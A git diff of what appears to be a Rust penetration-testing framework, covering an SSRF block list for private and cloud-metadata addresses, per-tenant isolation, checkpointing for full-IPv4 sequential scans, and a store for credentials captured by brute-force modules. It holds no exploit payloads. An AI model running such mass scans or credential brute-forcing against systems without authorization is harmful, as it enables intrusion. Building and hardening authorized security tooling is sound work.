o[0] == 0 // 0.0.0.0/8 ("this network"; routes to localhost on Linux)
|| o[0] == 127 // 127.0.0.0/8 loopback
|| o[0] == 10 // 10.0.0.0/8 RFC1918
|| (o[0] == 172 && (o[1] & 0xf0) == 16) // 172.16.0.0/12 RFC1918
|| (o[0] == 192 && o[1] == 168) // 192.168.0.0/16 RFC1918
|| (o[0] == 169 && o[1] == 254) // 169.254.0.0/16 link-local
|| (o[0] == 100 && (o[1] & 0xc0) == 64) // 100.64.0.0/10 CGNAT
|| o == [168, 63, 129, 16] // Azure wireserver metadata
|| o == [100, 100, 100, 200] // Alibaba metadata
}
pub(crate) async fn is_blocked_target_resolved(target: &str) -> bool {
resolve_and_check(target).await.is_err()
/// SSRF/resolution gate: resolve `target` and verify no resolved IP is blocked.
/// On failure, distinguishes a genuine SSRF block from a mere DNS failure so
/// callers don't report an unresolvable/slow host as a 403 SSRF block (which
/// violates "failures must be distinguishable from negatives" and makes real
/// engagement failures undebuggable). Returns `(error_code, message)`:
/// `SSRF_BLOCKED` for a real block, `TARGET_ERROR` for resolution failure.
pub(crate) async fn ssrf_gate(target: &str) -> Result<(), (&'static str, String)> {
match resolve_and_check(target).await {
Ok(_) => Ok(()),
Err(msg) if msg.contains("blocked") => Err(("SSRF_BLOCKED", msg)),
Err(msg) => Err(("TARGET_ERROR", msg)),
}
}
/// Resolve a hostname and verify none of the returned IPs are blocked.
@@ -226,6 +250,17 @@ pub(crate) async fn is_blocked_target_resolved(target: &str) -> bool {
/// Callers should connect to the returned addresses directly (not re-resolve)
/// to prevent DNS rebinding attacks.
pub(crate) async fn resolve_and_check(target: &str) -> Result<Vec<std::net::SocketAddr>, String> {
// Multi-target (comma-separated): resolve and SSRF-check each element
// individually; the whole list is rejected if any element is blocked or
// fails to resolve. Without this, the list is fed to lookup_host as one
// string, which always fails DNS and rejects even legitimate lists.
if target.contains(',') {
let mut all = Vec::new();
for part in target.split(',').map(str::trim).filter(|s| !s.is_empty()) {
all.extend(Box::pin(resolve_and_check(part)).await?);
}
return Ok(all);
}
// M45: "0.0.0.0" alone resolves to localhost — must not be allowlisted.
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0/0"];
if MASS_SCAN_KEYWORDS.contains(&target) {
@@ -257,6 +292,33 @@ pub(crate) async fn resolve_and_check(target: &str) -> Result<Vec<std::net::Sock
return Err(format!("resolved IP {} is blocked", addr.ip()));
}
}
// Pin the validated IPs to the bare hostname so the subsequent module
// connect reuses exactly these addresses instead of re-resolving the
// name (which a rebinding attacker could point at a blocked IP after
// this check passes). reqwest clients built via build_http_client_with
// consult these pins. IP-literal targets are not resolved by reqwest,
// so pinning them is a harmless no-op.
// Strip a trailing numeric :port to get the bare hostname for pinning.
// Spelled out with explicit branches (no wildcard arm) so every case
// is handled visibly and nothing is folded away.
let host_only: &str = if let Some((host, port)) = host_part.rsplit_once(':') {
if !host.is_empty() && port.chars().all(|c| c.is_ascii_digit()) {
// "host:port" — pin the hostname, drop the numeric port.
host
} else {
// A ':' is present but the suffix is not a numeric port (e.g. an
// IPv6 literal like "::1"); use the whole string. IP literals are
// never resolved by reqwest, so pinning them is simply unused.
host_part
}
} else {
// No ':' present — already a bare hostname.
host_part
};
crate::utils::network::pin_resolved_ips(
host_only,
&resolved.iter().map(|s| s.ip()).collect::<Vec<_>>(),
);
Ok(resolved)
}
Ok(Err(e)) => {
@@ -308,22 +370,29 @@ async fn health_check() -> Json<serde_json::Value> {
fn rpc_status(code: &str) -> StatusCode {
match code {
"INVALID_INPUT" | "INVALID_OUTPUT_FILE" | "INVALID_JOB_ID" | "PARSE_ERROR" => {
"INVALID_INPUT" | "INVALID_OUTPUT_FILE" | "INVALID_JOB_ID" | "PARSE_ERROR"
| "INVALID_PORT" | "INVALID_CONCURRENCY" => {
StatusCode::BAD_REQUEST
}
"NOT_FOUND" | "MODULE_NOT_FOUND" | "METHOD_NOT_FOUND" => StatusCode::NOT_FOUND,
"SSRF_BLOCKED" | "SECURITY" => StatusCode::FORBIDDEN,
"JOB_LIMIT" | "STORE_ERROR" | "OPTION_ERROR" | "TARGET_ERROR" | "SUB_LIMIT" => {
"TENANT_REJECTED" => StatusCode::SERVICE_UNAVAILABLE,
// Genuine capacity/limit conflicts the caller can retry later.
"JOB_LIMIT" | "OPTION_LIMIT" | "SUB_LIMIT" | "SPOOL_BUSY" => {
StatusCode::CONFLICT
}
"RATE_LIMIT" => StatusCode::TOO_MANY_REQUESTS,
// Module / IO / serialization errors are runtime failures, not server
// bugs. Map them explicitly so callers don't see "500 unknown".
"MOD_ERROR"
| "CHECK_ERROR"
// Module / IO / serialization / persistence failures are server-side
// runtime failures, not client conflicts. `OPTION_ERROR`/`TARGET_ERROR`/
// `STORE_ERROR` mean "failed to persist", so they belong here (500), not
// 409 — a 409 wrongly tells the client its request conflicts with state.
"MODULE_ERROR"
| "EXPORT_ERROR"
| "SPOOL_ERROR"
| "IO_ERROR"
| "STORE_ERROR"
| "OPTION_ERROR"
| "TARGET_ERROR"
| "SERIALIZE_ERROR" => StatusCode::INTERNAL_SERVER_ERROR,
_ => StatusCode::INTERNAL_SERVER_ERROR,
}
@@ -438,17 +507,15 @@ async fn api_dispatcher(
body_into_params!(params, body_obj);
"run_module"
}
("POST", "run", Some("all"), _) => {
body_into_params!(params, body_obj);
"run_all"
}
("POST", "run_all", None, _) => {
body_into_params!(params, body_obj);
"run_all"
}
("POST", "check", None, _) => {
body_into_params!(params, body_obj);
"check_module"
("POST", "run", Some("all"), _) | ("POST", "run_all", None, _) => {
// There is no multi-module runner; these routes previously aliased
// run_module (which needs a single `module`), so they advertised a
// capability that does not exist. Be explicit rather than misleading.
return err_resp(
StatusCode::NOT_IMPLEMENTED,
"NOT_IMPLEMENTED",
"Multi-module run is not implemented. POST /api/run with an explicit `module` per request (enumerate via GET /api/modules and loop client-side).",
);
}
("POST", "honeypot-check", None, _) => {
body_into_params!(params, body_obj);
@@ -472,6 +539,13 @@ async fn api_dispatcher(
}
("DELETE", "options", None, _) => {
let tenant_name = identity.client_name.clone();
// Fail closed, same as the main dispatcher.
if let Err(e) = crate::tenant::resolve_for(&tenant_name) {
return err_resp(StatusCode::SERVICE_UNAVAILABLE, "TENANT_REJECTED", &e);
}
if body_obj.is_empty() {
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "Request body must list at least one option key to delete");
}
let mut deleted = Vec::new();
let mut errors = Vec::new();
for k in body_obj.keys() {
@@ -485,6 +559,15 @@ async fn api_dispatcher(
Err((code, msg)) => errors.push(json!({"key": k, "code": code, "error": msg})),
}
}
// If nothing was deleted and everything errored, surface a non-2xx
// so a client can't mistake an all-failed delete for success.
if deleted.is_empty() && !errors.is_empty() {
let all_not_found = errors
.iter()
.all(|e| e.get("code").and_then(|c| c.as_str()) == Some("NOT_FOUND"));
let status = if all_not_found { StatusCode::NOT_FOUND } else { StatusCode::CONFLICT };
return (status, Json(json!({ "data": { "deleted": deleted, "errors": errors } }))).into_response();
}
return ok(json!({
"data": { "deleted": deleted, "errors": errors }
}));
@@ -674,6 +757,14 @@ async fn api_dispatcher(
}
};
// Fail closed, mirroring the WS dispatch guard (ws.rs): only run under a
// tenant that still resolves. `tenant::resolve()` silently falls back to the
// process-global stores when the registry rejects a tenant (e.g. the
// MAX_TENANTS cap is hit), which would otherwise let a REST caller read and
// write another tenant's loot/creds/options/jobs.
if let Err(e) = crate::tenant::resolve_for(&identity.client_name) {
return err_resp(StatusCode::SERVICE_UNAVAILABLE, "TENANT_REJECTED", &e);
}
crate::tenant::CURRENT_TENANT
.scope(
identity.client_name,
@@ -719,7 +810,7 @@ pub async fn start_api_server(
for key in &authorized_keys {
println!(" {} ({})",
key.name,
crate::pq_channel::fingerprint(&key.x25519_public, &key.mlkem_ek));
crate::pq_channel::fingerprint(&[&key.x25519_public, &key.mlkem_ek, &key.mceliece_public]));
}
// Generate a one-time enrollment token. Operators bootstrap remote
+219 -30
View File
@@ -7,25 +7,31 @@
// loads the file, skips processed targets, and continues from where the
// crash interrupted.
//
// Format (JSON):
// { "scan_id": "...", "module": "scanners/port_scanner", "target": "10.0.0.0/16",
// "started": "2026-05-07T...", "processed": ["10.0.0.1", "10.0.0.2", ...] }
// Format (append-only, line-delimited):
// line 1: {"scan_id":"...","module":"scanners/port_scanner","target":"10.0.0.0/16","started":"2026-05-07T..."}
// line 2+: one processed target per line ("10.0.0.1", "10.0.0.2", ...)
//
// Atomicity: writes to `<file>.tmp`, then `rename`. Bounded by
// Each flush *appends* only the newly-processed targets rather than
// re-serializing the entire (potentially multi-million entry) set, so the
// total bytes written over a scan is O(n) instead of O(n²). Bounded by
// `MAX_CHECKPOINT_ENTRIES` to keep memory + disk usage in check on huge scans.
// A crash may leave a partial trailing line; the loader simply ignores any
// line that isn't a valid entry.
use std::collections::HashSet;
use std::path::PathBuf;
use std::path::{Path, PathBuf};
use std::sync::Arc;
use anyhow::{Context, Result};
use serde::{Deserialize, Serialize};
use tokio::io::AsyncWriteExt;
use tokio::sync::Mutex;
const MAX_CHECKPOINT_ENTRIES: usize = 10_000_000;
const FLUSH_EVERY_N: usize = 200;
#[derive(Debug, Clone, Serialize, Deserialize)]
/// In-memory / returned representation of a checkpoint.
#[derive(Debug, Clone)]
pub struct Checkpoint {
pub scan_id: String,
pub module: String,
@@ -34,6 +40,40 @@ pub struct Checkpoint {
pub processed: Vec<String>,
}
/// On-disk header line (everything except the processed entries, which are
/// stored one-per-line after it).
#[derive(Debug, Clone, Serialize, Deserialize)]
struct CheckpointHeader {
scan_id: String,
module: String,
target: String,
started: String,
}
/// Read an append-only checkpoint file into a `Checkpoint`. The first line is
/// the JSON header; each subsequent non-empty line is a processed target.
/// Malformed lines (e.g. a torn final line after a crash) are skipped.
fn load_from_path(path: &Path) -> Result<Checkpoint> {
let raw = std::fs::read_to_string(path)
.with_context(|| format!("read {}", path.display()))?;
let mut lines = raw.lines();
let header_line = lines.next().unwrap_or("");
let header: CheckpointHeader = serde_json::from_str(header_line)
.with_context(|| format!("parse header of {}", path.display()))?;
let processed: Vec<String> = lines
.map(str::trim)
.filter(|l| !l.is_empty())
.map(|l| l.to_string())
.collect();
Ok(Checkpoint {
scan_id: header.scan_id,
module: header.module,
target: header.target,
started: header.started,
processed,
})
}
/// Live writer for an in-progress scan. Tracks processed targets in memory
/// (bounded by `MAX_CHECKPOINT_ENTRIES`) and flushes to disk every
/// `FLUSH_EVERY_N` records or when explicitly requested.
@@ -45,6 +85,13 @@ struct Inner {
cp: Checkpoint,
seen: HashSet<String>,
pending_writes: usize,
/// Count of `cp.processed` entries already appended to disk.
persisted: usize,
/// Whether the header line has been written (true for resumed files).
header_written: bool,
/// Set once the entry cap is hit, so the "records dropped" warning is
/// emitted a single time rather than per-record.
cap_warned: bool,
path: PathBuf,
closed: bool,
}
@@ -58,11 +105,9 @@ impl CheckpointWriter {
std::fs::create_dir_all(parent)
.with_context(|| format!("create {}", parent.display()))?;
}
let cp = if path.exists() {
let raw = std::fs::read_to_string(&path)
.with_context(|| format!("read {}", path.display()))?;
serde_json::from_str::<Checkpoint>(&raw)
.with_context(|| format!("parse {}", path.display()))?
let exists = path.exists();
let cp = if exists {
load_from_path(&path)?
} else {
Checkpoint {
scan_id: scan_id.to_string(),
@@ -73,11 +118,15 @@ impl CheckpointWriter {
}
};
let seen: HashSet<String> = cp.processed.iter().cloned().collect();
let persisted = cp.processed.len();
Ok(Self {
inner: Arc::new(Mutex::new(Inner {
cp,
seen,
pending_writes: 0,
persisted,
header_written: exists,
cap_warned: false,
path,
closed: false,
})),
@@ -94,6 +143,17 @@ impl CheckpointWriter {
pub async fn record(&self, target: &str) -> Result<()> {
let mut g = self.inner.lock().await;
if g.seen.len() >= MAX_CHECKPOINT_ENTRIES {
// Past the cap we can no longer persist progress; targets recorded
// from here on will be re-scanned on resume. Surface this once
// instead of silently dropping records (which would look identical
// to "successfully checkpointed").
if !g.cap_warned {
g.cap_warned = true;
tracing::warn!(
"checkpoint entry cap ({}) reached — further targets will not be persisted and may be re-scanned on resume",
MAX_CHECKPOINT_ENTRIES
);
}
return Ok(());
}
if !g.seen.insert(target.to_string()) {
@@ -134,24 +194,130 @@ impl CheckpointWriter {
}
async fn flush_locked(g: &mut tokio::sync::MutexGuard<'_, Inner>) -> Result<()> {
let json = serde_json::to_string_pretty(&g.cp)?;
let tmp = g.path.with_extension("json.tmp");
tokio::fs::write(&tmp, &json)
// Build only the not-yet-persisted suffix so each flush is O(batch).
let mut buf = String::new();
if !g.header_written {
let header = CheckpointHeader {
scan_id: g.cp.scan_id.clone(),
module: g.cp.module.clone(),
target: g.cp.target.clone(),
started: g.cp.started.clone(),
};
buf.push_str(&serde_json::to_string(&header)?);
buf.push('\n');
}
for entry in &g.cp.processed[g.persisted..] {
// Entries are IPs/hostnames; guard against any stray newline so the
// line-delimited format stays parseable.
buf.push_str(&entry.replace(['\n', '\r'], ""));
buf.push('\n');
}
let mut file = tokio::fs::OpenOptions::new()
.create(true)
.append(true)
.open(&g.path)
.await
.with_context(|| format!("write {}", tmp.display()))?;
tokio::fs::rename(&tmp, &g.path)
.with_context(|| format!("open {} for append", g.path.display()))?;
file.write_all(buf.as_bytes())
.await
.with_context(|| format!("rename {}", g.path.display()))?;
.with_context(|| format!("append {}", g.path.display()))?;
// Propagate flush failures: if the bytes did not reach the OS we must NOT
// advance `persisted`/`header_written` below, or those entries would never
// be re-appended and the checkpoint would silently lose processed hosts.
file.flush()
.await
.with_context(|| format!("flush {}", g.path.display()))?;
g.header_written = true;
g.persisted = g.cp.processed.len();
g.pending_writes = 0;
Ok(())
}
fn checkpoint_path(scan_id: &str) -> PathBuf {
/// Base checkpoints directory for the current tenant.
///
/// In multi-tenant API mode each tenant gets its own namespace
/// (`~/.rustsploit/checkpoints/tenants/<tenant>/`) so concurrent tenants
/// scanning the same module+target do not share one checkpoint file (which
/// would cross-leak processed targets, interleave appends, and let one
/// tenant's `finish()` delete the file out from under another). Shell mode
/// (no tenant context) keeps the historical process-global path
/// (`~/.rustsploit/checkpoints/`) for backwards compatibility.
fn checkpoints_base_dir() -> PathBuf {
let base = home::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".rustsploit")
.join("checkpoints");
base.join(format!("{}.json", sanitize(scan_id)))
match crate::context::current_tenant_id() {
Some(tid) => {
let tid = sanitize(&tid);
if tid.is_empty() {
base
} else {
base.join("tenants").join(tid)
}
}
None => base,
}
}
fn checkpoint_path(scan_id: &str) -> PathBuf {
checkpoints_base_dir().join(format!("{}.json", sanitize(scan_id)))
}
// ---- Sequential-scan high-water-mark resume -----------------------------
//
// A sequential full-public-IPv4 sweep can dispatch billions of addresses, so
// the per-target set used by random/CIDR scans does not scale. Sequential scans
// instead store a single high-water IPv4 (as a u32) — the last dispatched
// address — and resume from `hi + 1`.
fn seq_marker_path(scan_id: &str) -> PathBuf {
checkpoints_base_dir().join(format!("{}.seq", sanitize(scan_id)))
}
/// Read the sequential resume point (last dispatched IPv4 as u32), if any.
pub fn read_seq_marker(scan_id: &str) -> Option<u32> {
let path = seq_marker_path(scan_id);
match std::fs::read_to_string(&path) {
Ok(s) => match s.trim().parse::<u32>() {
Ok(v) => Some(v),
Err(e) => {
tracing::debug!("seq marker {} unparseable: {e}", path.display());
None
}
},
Err(e) if e.kind() == std::io::ErrorKind::NotFound => None,
Err(e) => {
tracing::debug!("seq marker read {} failed: {e}", path.display());
None
}
}
}
/// Persist the sequential high-water IPv4 (best-effort; logs at debug on error).
pub fn write_seq_marker(scan_id: &str, ip: u32) {
let path = seq_marker_path(scan_id);
if let Some(parent) = path.parent()
&& let Err(e) = std::fs::create_dir_all(parent)
{
tracing::debug!("seq marker mkdir {} failed: {e}", parent.display());
return;
}
if let Err(e) = std::fs::write(&path, ip.to_string()) {
tracing::debug!("seq marker write {} failed: {e}", path.display());
}
}
/// Remove the sequential marker on clean completion (best-effort).
pub fn clear_seq_marker(scan_id: &str) {
let path = seq_marker_path(scan_id);
match std::fs::remove_file(&path) {
Ok(()) => {}
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {}
Err(e) => tracing::debug!("seq marker remove {} failed: {e}", path.display()),
}
}
fn sanitize(s: &str) -> String {
@@ -166,7 +332,29 @@ fn sanitize(s: &str) -> String {
.collect()
}
/// Collect `*.json` checkpoints directly inside `dir` into `out` (non-recursive).
fn collect_checkpoints_in(dir: &Path, out: &mut Vec<Checkpoint>) {
let entries = match std::fs::read_dir(dir) {
Ok(e) => e,
Err(e) => { tracing::debug!("skipping checkpoint dir {}: {e}", dir.display()); return; }
};
for entry in entries.flatten() {
let path = entry.path();
if path.extension().and_then(|e| e.to_str()) != Some("json") {
continue;
}
match load_from_path(&path) {
Ok(cp) => out.push(cp),
Err(e) => { tracing::debug!("skipping unreadable checkpoint {}: {e}", path.display()); }
}
}
}
/// List all on-disk checkpoints (for `rustsploit --list-checkpoints`).
///
/// Includes the process-global checkpoints (shell mode) plus every
/// per-tenant namespace under `checkpoints/tenants/<tenant>/`, so the
/// listing is complete regardless of which tenant wrote each one.
pub fn list_checkpoints() -> Result<Vec<Checkpoint>> {
let dir = home::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
@@ -176,17 +364,18 @@ pub fn list_checkpoints() -> Result<Vec<Checkpoint>> {
return Ok(Vec::new());
}
let mut out = Vec::new();
for entry in std::fs::read_dir(&dir)? {
let path = entry?.path();
if path.extension().and_then(|e| e.to_str()) != Some("json") {
continue;
}
let raw = match std::fs::read_to_string(&path) {
Ok(s) => s,
Err(e) => { tracing::debug!("skipping unreadable checkpoint {}: {e}", path.display()); continue; }
};
if let Ok(cp) = serde_json::from_str::<Checkpoint>(&raw) {
out.push(cp);
// Process-global (shell-mode) checkpoints.
collect_checkpoints_in(&dir, &mut out);
// Per-tenant namespaces.
let tenants_dir = dir.join("tenants");
if tenants_dir.is_dir() {
if let Ok(entries) = std::fs::read_dir(&tenants_dir) {
for entry in entries.flatten() {
let tpath = entry.path();
if tpath.is_dir() {
collect_checkpoints_in(&tpath, &mut out);
}
}
}
}
out.sort_by(|a, b| a.started.cmp(&b.started));
-4
View File
@@ -50,10 +50,6 @@ pub struct Cli {
#[arg(long)]
pub list_checkpoints: bool,
/// Output format (text, json)
#[arg(long, default_value = "text")]
pub output_format: Option<String>,
/// Execute a resource script file on startup
#[arg(short = 'r', long = "resource")]
pub resource: Option<String>,
+8 -37
View File
@@ -114,10 +114,13 @@ pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> R
let module: Arc<dyn Module> = module_box.into();
let mut opts = ModuleOptions::default();
// Populate ModuleOptions from global options so native modules can read
// them via ctx.options (e.g. port, source_port, threads, etc.).
let global_opts = crate::global_options::GLOBAL_OPTIONS.all().await;
for (k, v) in &global_opts {
// Populate ModuleOptions from the *tenant-scoped* options so native modules
// reading ctx.options (port, source_port, threads, etc.) see the requesting
// tenant's values — not the process-global singleton, which would leak a
// shell/MCP operator's `setg` values into other tenants' runs.
// `resolve()` falls back to the global store when there is no tenant (CLI).
let scoped_opts = crate::tenant::resolve().global_options().all().await;
for (k, v) in &scoped_opts {
opts.set(k.clone(), v.clone());
}
let result = scheduler::run(module, target, opts, verbose).await;
@@ -159,49 +162,17 @@ pub fn categories() -> &'static [&'static str] {
&["scanners", "exploits", "creds", "osint", "plugins"]
}
/// True if the module advertises a `check()` function.
pub fn has_check(module_path: &str) -> bool {
module::find(module_path).map(|m| m.has_check()).unwrap_or(false)
}
pub fn module_info(module_path: &str) -> Option<crate::module_info::ModuleInfo> {
module::find(module_path).map(|m| m.info())
}
/// Run a non-destructive vulnerability check if the module supports it.
pub async fn check_module(
module_path: &str,
target: &str,
) -> Option<crate::module_info::CheckResult> {
let m = module::find(module_path)?;
let target_parsed = match Target::parse(target) {
Ok(t) => t,
Err(e) => {
tracing::warn!("check_module: invalid target '{}': {}", target, e);
return None;
}
};
// Reject mass targets for check
if !matches!(&target_parsed, Target::Single(_)) {
tracing::warn!("check_module: mass targets not supported for check, use a single host");
return None;
}
let mut ctx = crate::module::ModuleCtx::new(target_parsed);
ctx.module_path = module_path.to_string();
ctx.tenant_id = crate::context::current_tenant_id();
if let Some(tok) = crate::context::cancellation_token() {
ctx.cancel = tok;
}
m.check(&ctx).await
}
// ============================================================
// HELPERS
// ============================================================
/// Find the canonical `category/name` form of a module if the user supplied
/// just the short name. Returns `None` for an unknown module.
fn resolve_full_path(module_path: &str) -> Option<String> {
pub fn resolve_full_path(module_path: &str) -> Option<String> {
if module_path.contains('/') {
// Already qualified; verify it exists.
return module::registered()
+39 -7
View File
@@ -58,13 +58,31 @@ impl GlobalConfig {
return Err(anyhow!("Target cannot contain control characters"));
}
// Mass scan keywords: "random", "0.0.0.0" — store as-is
if trimmed == "random" || trimmed == "0.0.0.0" {
// Mass scan keyword: "random" — store as-is. Bare "0.0.0.0" is NOT a
// mass-scan keyword (M45); it falls through to normal single-host
// handling. "0.0.0.0/0" is handled below as a CIDR subnet.
if trimmed == "random" {
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
return Ok(());
}
// Sequential mass-scan keywords: `seq`/`sequential` (whole public range)
// or `seq:<ip>`/`sequential:<ip>` (explicit start). Stored verbatim;
// `module::Target::parse` turns it into `Target::Sequential`.
{
let lower = trimmed.to_ascii_lowercase();
if lower == "seq"
|| lower == "sequential"
|| lower.starts_with("seq:")
|| lower.starts_with("sequential:")
{
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
return Ok(());
}
}
// File-based target list: resolve canonical path to prevent traversal,
// then store if the file exists. This check must come before the ".."
// rejection so relative file paths like "../targets.txt" work.
@@ -105,7 +123,7 @@ impl GlobalConfig {
return self.set_target(&targets[0]);
}
// Validate each individual target
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0", "0.0.0.0/0"];
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0/0"];
for t in &targets {
// Allow mass scan keywords, CIDRs, file paths, and hostnames/IPs
if MASS_SCAN_KEYWORDS.contains(&t.as_str()) {
@@ -173,10 +191,8 @@ impl GlobalConfig {
return Err(anyhow!("Target cannot start with '.' or '-'"));
}
if target.ends_with('.') && !target.ends_with("..") {
// Allow trailing dot for FQDN, but not double dots
}
// A single trailing dot (FQDN root label, e.g. "example.com.") is
// allowed implicitly; consecutive dots are rejected just below.
// Check for consecutive dots (invalid in hostnames)
if target.contains("..") {
return Err(anyhow!("Target cannot contain consecutive dots"));
@@ -220,6 +236,22 @@ impl GlobalConfig {
for t in targets {
if let Ok(net) = t.parse::<IpNetwork>() {
total = total.saturating_add(Self::network_size(&net));
} else if std::path::Path::new(t).is_file() {
// A file member contributes its real target count (one per
// non-empty, non-comment line), not a flat 1 — otherwise a
// comma-list containing a host file wildly under-estimates
// the scan size used for ETA/throttling.
let lines = std::fs::read_to_string(t)
.map(|s| {
s.lines()
.filter(|l| {
let l = l.trim();
!l.is_empty() && !l.starts_with('#')
})
.count() as u64
})
.unwrap_or(1);
total = total.saturating_add(lines.max(1));
} else {
total = total.saturating_add(1);
}
+21 -6
View File
@@ -6,10 +6,9 @@
use std::collections::HashMap;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::sync::atomic::{AtomicU64, AtomicUsize, Ordering};
use crate::config::ModuleConfig;
use crate::output::OutputAccumulator;
const MAX_PROMPT_CACHE_ENTRIES: usize = 256;
@@ -93,6 +92,26 @@ tokio::task_local! {
/// Modules don't need to reference this directly — the `cfg_prompt_*` functions
/// check it automatically.
pub static RUN_CONTEXT: Arc<RunContext>;
/// Optional per-target scan counters. The job manager scopes this around a
/// backgrounded run so the scheduler can publish live progress (total /
/// succeeded / failed targets) back into the job's `JobProgress`. Unset for
/// foreground/CLI runs, in which case the scheduler simply skips it.
pub static SCAN_COUNTERS: Arc<ScanCounters>;
}
/// Live per-target progress for a running scan, shared from the scheduler back
/// to the job manager. All counters are monotonic for the lifetime of one run.
#[derive(Default)]
pub struct ScanCounters {
pub total: AtomicU64,
pub succeeded: AtomicU64,
pub failed: AtomicU64,
}
/// The active scan counters, if a job scoped them. `None` for foreground runs.
pub fn scan_counters() -> Option<Arc<ScanCounters>> {
SCAN_COUNTERS.try_with(|c| c.clone()).ok()
}
/// Per-run context carrying module config, target, and structured output accumulator.
@@ -101,8 +120,6 @@ pub struct RunContext {
pub config: ModuleConfig,
/// Per-request target override (API mode). Shell mode leaves this None.
pub target: Option<String>,
/// Accumulated structured findings from this module run.
pub output: OutputAccumulator,
/// Shared prompt cache for concurrent dispatch modes.
/// When set, `cfg_prompt_*` functions check this cache before prompting stdin.
pub prompt_cache: Option<PromptCache>,
@@ -132,7 +149,6 @@ impl RunContext {
Self {
config,
target: Some(target),
output: OutputAccumulator::new(),
prompt_cache: None,
cancel: tokio_util::sync::CancellationToken::new(),
tenant_id: None,
@@ -147,7 +163,6 @@ impl RunContext {
Self {
config,
target: Some(target),
output: OutputAccumulator::new(),
prompt_cache: Some(cache),
cancel: tokio_util::sync::CancellationToken::new(),
tenant_id: None,
+79 -17
View File
@@ -108,39 +108,86 @@ impl CredStore {
/// Maximum length for credential fields to prevent memory abuse.
const MAX_FIELD_LEN: usize = 4096;
/// Runaway-entry cap (mirrors loot's `MAX_LOOT_ENTRIES`) so a buggy loop
/// can't grow the store unbounded.
const MAX_CRED_ENTRIES: usize = 100_000;
/// Add a credential. Returns `Some(id)` on success, `None` on validation failure.
pub async fn add(&self, cred: NewCred<'_>) -> Option<String> {
// Input validation
// Input validation. Bound EVERY free-text field, not just host/secret/
// username — `service` and `source_module` can carry attacker-influenced
// banner text, and leaving them unbounded defeats the memory-abuse guard
// this cap is here to provide.
if cred.host.is_empty() || cred.host.len() > Self::MAX_FIELD_LEN {
return None;
}
if cred.secret.len() > Self::MAX_FIELD_LEN || cred.username.len() > Self::MAX_FIELD_LEN {
if cred.secret.len() > Self::MAX_FIELD_LEN
|| cred.username.len() > Self::MAX_FIELD_LEN
|| cred.service.len() > Self::MAX_FIELD_LEN
|| cred.source_module.len() > Self::MAX_FIELD_LEN
{
return None;
}
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
let entry = CredEntry {
id: id.clone(),
host: cred.host.to_string(),
port: cred.port,
service: cred.service.to_string(),
username: cred.username.to_string(),
secret: cred.secret.to_string(),
cred_type: cred.cred_type,
source_module: cred.source_module.to_string(),
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
valid: true,
};
// Scrub control/ANSI bytes from host + non-secret metadata before
// storage so a credential captured from a hostile banner can't inject
// terminal escapes on `creds list` / CSV export — matching loot and the
// workspace. `username`/`secret` are kept verbatim so the stored
// credential stays an exact match for the real one.
let host = crate::utils::scrub_stored_text(cred.host);
let service = crate::utils::scrub_stored_text(cred.service);
let source_module = crate::utils::scrub_stored_text(cred.source_module);
let username = cred.username.to_string();
let secret = cred.secret.to_string();
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
// P1-1: hold the write lock across the disk save. Previous code
// released the lock before calling `save_locked`, letting two
// concurrent writers land disk writes in the wrong order — disk
// and in-memory state could diverge after restart.
{
let mut entries = self.entries.write().await;
entries.push(entry);
// Dedup: re-running a brute against the same target shouldn't append
// an identical row each time. If the exact same credential tuple
// already exists, refresh its timestamp + valid flag and return its
// id instead of pushing a duplicate.
if let Some(existing) = entries.iter_mut().find(|e| {
e.host == host
&& e.port == cred.port
&& e.service == service
&& e.username == username
&& e.secret == secret
}) {
existing.timestamp = now;
existing.valid = true;
let id = existing.id.clone();
let snapshot = entries.clone();
self.save_locked(&snapshot).await;
return Some(id);
}
// Runaway-entry cap, re-checked under the write lock.
if entries.len() >= Self::MAX_CRED_ENTRIES {
eprintln!(
"[!] Credential store full ({} entries) — clear creds before adding more",
Self::MAX_CRED_ENTRIES
);
return None;
}
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
entries.push(CredEntry {
id: id.clone(),
host,
port: cred.port,
service,
username,
secret,
cred_type: cred.cred_type,
source_module,
timestamp: now,
valid: true,
});
let snapshot = entries.clone();
self.save_locked(&snapshot).await;
Some(id)
}
Some(id)
}
/// List all credentials.
@@ -174,6 +221,21 @@ impl CredStore {
false
}
/// Mark a credential valid/invalid by id (e.g. after a re-test shows the
/// password was rotated). Returns true if the id was found. This is what
/// makes the valid/invalid column shown by `display`/CSV actually settable.
pub async fn set_valid(&self, id: &str, valid: bool) -> bool {
let mut entries = self.entries.write().await;
if let Some(e) = entries.iter_mut().find(|e| e.id == id) {
e.valid = valid;
let snapshot = entries.clone();
self.save_locked(&snapshot).await;
true
} else {
false
}
}
/// Clear all credentials.
pub async fn clear(&self) {
let mut entries = self.entries.write().await;
+12
View File
@@ -152,6 +152,18 @@ pub fn emit(event: ModuleEvent) {
}
}
/// Emit a structured event tagged with an explicit tenant. For events produced
/// *outside* any `CURRENT_TENANT`/`RunContext` scope (e.g. the PQ handshake
/// lifecycle in the middleware), pass the owning client's name so the event is
/// routed to that tenant's subscribers only. `None` leaves it untagged, in
/// which case subscribers drop it per the tenant-filtering contract — so it is
/// never broadcast across tenants.
pub fn emit_for(tenant_id: Option<String>, event: ModuleEvent) {
if let Err(e) = bus().send(TenantEvent { tenant_id, event }) {
tracing::trace!("Event bus: no active subscribers ({})", e);
}
}
/// Subscriber count, useful for debug logging.
pub fn subscriber_count() -> usize {
bus().receiver_count()
+16 -9
View File
@@ -112,17 +112,24 @@ impl ExclusionSet {
}
let mut set = Self::defaults();
